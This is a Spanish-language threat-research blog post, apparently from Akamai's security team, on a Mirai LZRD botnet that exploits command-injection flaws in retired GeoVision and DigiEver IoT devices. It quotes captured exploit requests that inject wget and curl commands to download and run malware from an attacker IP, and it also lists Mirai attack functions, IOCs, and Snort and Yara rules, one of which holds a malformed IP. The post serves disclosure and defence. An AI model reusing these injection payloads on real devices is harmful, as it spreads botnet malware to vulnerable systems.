Otra vez Mirai: RSVP de dispositivos del Internet de las cosas (IoT) para la explotación activa

escrito por

Kyle Lefton

May 06, 2025

escrito por

Kyle Lefton

Kyle Lefton es investigador de seguridad en el equipo de respuesta a incidentes e inteligencia en seguridad de Akamai. Anteriormente, fue analista de inteligencia del Departamento de Defensa de EE. UU. y cuenta con varios años de experiencia en ciberdefensa, investigación de amenazas y contrainteligencia. Le apasionan la investigación de amenazas emergentes y vulnerabilidades, y la detección de grupos de amenazas. En su tiempo libre, le gusta disfrutar de sus amigos y familiares, los juegos de estrategia y el senderismo.

También hemos observado que esta botnet intenta aprovechar otras vulnerabilidades en nuestros señuelos.
También hemos observado que esta botnet intenta aprovechar otras vulnerabilidades en nuestros señuelos.

Resumen ejecutivo

  • El equipo de respuesta e inteligencia en seguridad (SIRT) de Akamai ha identificado una explotación activa de las vulnerabilidades de inyección de comandos CVE-2024-6047 y CVE-2024-11120 contra dispositivos del Internet de las cosas (IoT) de GeoVision descatalogados. 

  • El SIRT identificó por primera vez la actividad en nuestros señuelos en abril de 2025. Se trata de la primera explotación activa de estas vulnerabilidades de la que tenemos constancia desde su divulgación inicial en junio de 2024 y noviembre de 2024, respectivamente. 

  • La botnet que está explotando esta vulnerabilidad también ha aprovechado otras vulnerabilidades conocidas, incluida la de DigiEver, que ya hemos mencionado anteriormente.

  • Hemos incluido una lista de indicadores de compromiso (IOC) en esta entrada de blog para ayudar en la defensa contra esta amenaza.

Introducción

Los terminales han estado sucumbiendo a Mirai desde 2016, y ciertos dispositivos GeoVision retirados son algunos de los últimos en recibir el asalto. A principios de abril de 2025, el SIRT de Akamai descubrió una actividad dirigida al URI /DateSetting.cgi en nuestra red global de señuelos.

Después de investigar más a fondo, pudimos atribuir esta actividad a vulnerabilidades de inyección de comandos (CVE-2024-6047 y CVE-2024-11120) que ya se habían detectado anteriormente en los dispositivos GeoVision.

A pesar de ser vulnerabilidades "conocidas", públicamente no se sabía mucho de ellas, más allá de los números de CVE que tenían asignados. La atribución, junto con el alcance de la amenaza, que se limita a los dispositivos GeoVision del IdC retirados, fue validada directamente por el proveedor en última instancia.

La vulnerabilidad

La vulnerabilidad tiene como objetivo el endpoint /DateSetting.cgi de los dispositivos del IdC de GeoVision e inserta comandos en el parámetro szSrvIpAddr. Algunos dispositivos GeoVision descatalogados no pueden filtrar correctamente la entrada del usuario para este parámetro, lo que permite que los atacantes remotos no autenticados inyecten y ejecuten comandos de sistema arbitrarios en un sistema de destino.

Esta inyección de comandos se identifica con CVE-2024-6047 y CVE-2024-11120. Estos informes se compartieron originalmente en junio de 2024 y noviembre de 2024, respectivamente, pero no se divulgaron los detalles técnicos, la información era escasa y no había registros publicados de explotación activa.

Explotación activa

El SIRT de Akamai observó el primer ataque dirigido a este URI a principios de abril de 2025.

Una vez descodificada la carga, descubrimos que la botnet está inyectando comandos en la opción szSrvIpAddr para descargar y ejecutar un archivo de malware de Mirai basado en ARM llamado "boatnet", una nomenclatura común de Mirai (Figura 1). 

  /DateSetting.cgi dwTimeZone=2&dwGainType=0&szSrvIpAddr=time.windows.com;$(cd /tmp;wget http://176.65.144[.]253/hiddenbin/boatnet.arm7;chmod 777 boatnet.arm7;./boatnet.arm7 geovision;)&NTP_Update_time_hh=5&NTP_Update_time_mm=10&szDateM=2024/08/07&szTimeM=14:25:16&bDateFomat=0&bDateFormatMisc=0&dwIsDelay=1&Montype=0&submit=Apply

Fig. 1: Comandos para descargar y ejecutar un archivo de malware de Mirai basado en ARM llamado "boatnet"

Este ataque descarga y ejecuta una variante de malware basado en Mirai denominada LZRD.  La forma más común de identificarla es a través de la cadena única que imprime en la consola del equipo de destino tras la ejecución del malware (Figura 2).

 

The most common way to identify this variant is via the unique string it prints to the target machine’s console upon execution of the malware (Figure 2). Fig. 2: Console string printed upon malware’s execution

Esto se ha confirmado a través varias funciones de ataque observadas que van en la línea de otras variantes de Mirai (Figura 3).

  sym.attack_udp_plain
  sym.attack_get_opt_ip
  sym.attack_tcp_ack
  sym.attack_method_nfo
  sym.attack_method_raw
  sym.attack_method_hexflood
  sym.attack_method_tcp
  sym.attack_method_udphex
  sym.attack_method_udphex
  sym.attack_udp_custom
  sym.attack_tcp_stomp
  sym.attack_method_tcpxmas
  sym.attack_tcp_syn
  sym.attack_get_opt_int
  sym.attack_method_std
  sym.attack_method_ovhdrop
  sym.attack_get_opt_str
  sym.attack_method_ovh
  sym.attack_method_nudp
  sym.attack_tcp_bypass
  sym.attack_method_stdhex

Fig. 3: Funciones de ataque del malware Mirai LZRD

Y aún hay más. Durante el análisis también descubrimos una dirección IP de comando y control (C2) codificada en la función sym.resolve_cnc_addr() (Figura 4).

Throughout the analysis we also uncovered a hard-coded command and control (C2) IP address in the sym.resolve_cnc_addr() function (Figure 4). Fig. 4: Hard-coded C2 IP address from the malware’s sym.resolve_cnc_addr() function

Durante nuestro estudio de la infraestructura C2 de la botnet, observamos un mensaje de banner en algunos de los puertos del servidor C2, probablemente asociados con parte de la comunicación C2 de la botnet. Hemos podido identificar la infraestructura de botnet adicional mediante una consulta de Censys derivada del siguiente banner: services.banner="*[?1049h*0;Please enter your credentials*".

El mensaje del banner de la Figura 5 es similar al mensaje InfectedSlurs del que informamos en 2023 (Infected Slurs/TBOTNET). En sus investigaciones sobre seguridad, Fox_threatintel detectó la conexión con esa primera botnet en enero de 2024, y parecer ser que sus restos se mantienen fuertes. Aunque las consultas proporcionadas por esta investigación ya no arrojan resultados, las cadenas del banner son bastante similares, por lo que tiene sentido establecer esta asociación.

The banner message in Figure 5 is similar to the InfectedSlurs message we reported on in 2023 (Infected Slurs/TBOTNET). Fig. 5: Banner message on C2 port on the botnet’s C2 server

Otras vulnerabilidades explotadas

También hemos observado que esta botnet intenta aprovechar otras vulnerabilidades en nuestros señuelos. Esto incluye una vulnerabilidad Hadoop YARN, la vulnerabilidad de router ZTE ZXV10 H108L, la CVE-2018-10561 y la vulnerabilidad DigiEver de la que hemos informado anteriormente (Figura 6).

  /cgi-bin/cgi_main.cgi

  cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&ntp1=time.stdtime.gov.tw&ntp2=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30

Fig. 6: Vulnerabilidad de DigiEver explotada

Conclusión

Las botnets basadas en Mirai siguen presentando riesgos para muchas organizaciones, y la prevalencia de dispositivos de IdC obsoletos ayuda a propagar esta amenaza. Al igual que los investigadores de seguridad, algunos atacantes se mantienen al día sobre las últimas revelaciones de vulnerabilidades relacionadas con sus actividades ilícitas. Las nuevas vulnerabilidades de ejecución remota de código o de inyección de comandos que afectan a los dispositivos del IdC son uno de los principales objetivos de estos atacantes.

Uno de los métodos más efectivos que usan los ciberdelincuentes para poner en marcha una botnet es atacar firmware obsoleto y mal protegido en dispositivos antiguos. Muchos fabricantes de hardware no emiten parches para los dispositivos retirados (en algunos casos, puede que el propio fabricante ya no exista). Nos informaron de que los modelos GeoVision afectados se retiraron y no se seguirán actualizando.

En los casos en los que no haya parches de seguridad disponibles y sea poco probable que lleguen, recomendamos dejar de usar los dispositivos vulnerables y actualizar a modelos más recientes.

Información actualizada con Akamai

El SIRT de Akamai seguirá supervisando amenazas similares e informando sobre ellas tanto a nuestros clientes como a la comunidad de seguridad en general. Para mantenerse al día con el SIRT y otras publicaciones del grupo de inteligencia de seguridad de Akamai, consulte nuestra página de investigación y síganos en las redes sociales.

IoC

Hemos incluido una lista de IOC, así como las reglas de Snort y Yara, para ayudar a los expertos en protección.

Reglas de Snort para los IOC de red

Reglas de Snort para las IP C2

  alert ip any any -> [209.141.44.28, 51.38.137.114, 176.65.144.253, 176.65.144.232, 198.23.212.246] any (
    msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP"; 
    sid:2000001; 
    rev:1; 
    threshold:type limit, track by_src, count 1, seconds 600; 
    classtype:trojan-activity; 
    metadata:service http, malware;
)

Reglas de Snort para la detección de resoluciones de dominio de C2 (botnet n.º 2)

  alert http any any -> any any (
    msg:"Possible Botnet C2 or Malware Distribution - connect.antiwifi.dev"; 
    content:"connect.antiwifi.dev"; http_host; nocase; 
    sid:2000002; rev:1; 
    classtype:trojan-activity; 
    metadata:service http, malware;
)

Reglas de Yara para muestras de malware 

  rule Botnet_Indicators
{
    meta:
        description = "Detects botnet malware samples and network-based indicators"
        date = "2025-04-22"
        severity = "high"

    strings:
        // Network Indicators (IP & Domain)
        $ip1 = "209.141.44.28"
        $ip2 = "51.38.137.114"
        $ip3 = "176.65.144.2534"
        $ip4 = "176.65.144.232"
        $ip5 = "198.23.212.246"
        $domain1 = "connect.antiwifi.dev"

    condition:
        any of (
            // SHA256 Hash Matches
            hash.sha256(0, filesize) == "f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714",
            hash.sha256(0, filesize) == "11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114",
            hash.sha256(0, filesize) == "8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e",
            hash.sha256(0, filesize) == "ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516",
            hash.sha256(0, filesize) == "03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3",
            hash.sha256(0, filesize) == "0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d",
            hash.sha256(0, filesize) == "7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a",
            hash.sha256(0, filesize) == "50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5",
            hash.sha256(0, filesize) == "bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda",
            hash.sha256(0, filesize) == "074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3",
            hash.sha256(0, filesize) == "5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a",
            hash.sha256(0, filesize) == "de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88",
            hash.sha256(0, filesize) == "aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8",
            hash.sha256(0, filesize) == "3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6",
            hash.sha256(0, filesize) == "3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e",
            hash.sha256(0, filesize) == "5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a",
            hash.sha256(0, filesize) == "2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5",
            hash.sha256(0, filesize) == "dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c",
            hash.sha256(0, filesize) == "866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a",
            hash.sha256(0, filesize) == "64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530",
            hash.sha256(0, filesize) == "9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582",
            hash.sha256(0, filesize) == "bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f",
            hash.sha256(0, filesize) == "58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b",
            // Network-based Indicator Matches
            any of ($ip1, $domain1)
        )
}

Direcciones IPv4

  209.141.44.28
  51.38.137.114
  176.65.144.253
  176.65.144.232
  198.23.212.246

Dominios para C2

  connect.antiwifi.dev

Hashes SHA256

  f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714
  11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114
  8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e
  ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516
  03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3
  0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d
  7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a
  50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5
  bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda
  074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3
  5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a
  de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88
  aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8
  3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6
  3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e
  5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a
  2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5
  dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c
  866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a
  64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530
  9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582
  bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f
  58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b


escrito por

Kyle Lefton

May 06, 2025

escrito por

Kyle Lefton

Kyle Lefton es investigador de seguridad en el equipo de respuesta a incidentes e inteligencia en seguridad de Akamai. Anteriormente, fue analista de inteligencia del Departamento de Defensa de EE. UU. y cuenta con varios años de experiencia en ciberdefensa, investigación de amenazas y contrainteligencia. Le apasionan la investigación de amenazas emergentes y vulnerabilidades, y la detección de grupos de amenazas. En su tiempo libre, le gusta disfrutar de sus amigos y familiares, los juegos de estrategia y el senderismo.